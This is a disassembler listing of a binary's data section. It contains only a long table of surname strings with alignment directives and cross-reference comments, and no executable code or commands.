aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co aSen db 'Sen',0 ; DATA XREF: ___:0042E838o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E834o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E818o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o aRush db 'Rush',0 ; DATA XREF: ___:0042E794o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E784o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E77Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E760o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E628o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E588o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o align 4 aMazzali db 'Mazzali',0 aMay db 'May',0 aMauzy db 'Mauzy',0 align 10h aMattson db 'Mattson',0 aMatsukata db 'Matsukata',0 align 4 aMatarazzo db 'Matarazzo',0 align 10h aMatalka db 'Matalka',0 aMass db 'Mass',0 align 10h aMarubini db 'Marubini',0 align 4 aMarton db 'Marton',0 align 4 aMartochio db 'Martochio',0 align 10h aMartinez db 'Martinez',0 align 4 aMarques db 'Marques',0 aMargetts db 'Margetts',0 align 10h aMargalit db 'Margalit',0 align 4 aMarcus db 'Marcus',0 align 4 aMarchbanks db 'Marchbanks',0 align 10h aMarch db 'March',0 align 4 aMantovan db 'Mantovan',0 align 4 aManganiello db 'Manganiello',0 aMandel db 'Mandel',0 align 4 aManalis db 'Manalis',0 aMalova db 'Malova',0 align 4 aMaller db 'Maller',0 align 10h aMalatesta db 'Malatesta',0 align 4 aMaisano db 'Maisano',0 aMaineHershey db 'Maine-Hershey',0 align 4 aMaier db 'Maier',0 align 4 aMahony db 'Mahony',0 align 4 aMaggio db 'Maggio',0 align 4 aMadigan db 'Madigan',0 aMacy db 'Macy',0 align 4 aMacmillan db 'MacMillan',0 align 4 aMackenney db 'Mackenney',0 align 4 aMacintyre db 'Macintyre',0 align 10h aMaceachern db 'Maceachern',0 align 4 aMacdonald db 'Macdonald',0 align 4 aMaccormac db 'Maccormac',0 align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co aLine db 'Line',0 ; DATA XREF: ___:0042E358o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co aLim db 'Lim',0 ; DATA XREF: ___:0042E348o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E340o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o ; ___:0043294Co align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o align 4 aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo ; ___:off_4327E8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o aLa db 'La',0 ; DATA XREF: ___:0042E2E4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o align 10h aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co align 10h aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co align 10h aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o aKling db 'Kling',0 ; DATA XREF: ___:0042E280o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o align 4 aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o align 4 aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o align 4 aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o align 4 aKee db 'Kee',0 ; DATA XREF: ___:0042E220o aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o align 10h aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co align 10h aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o align 4 aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o align 4 aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o align 10h aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o align 4 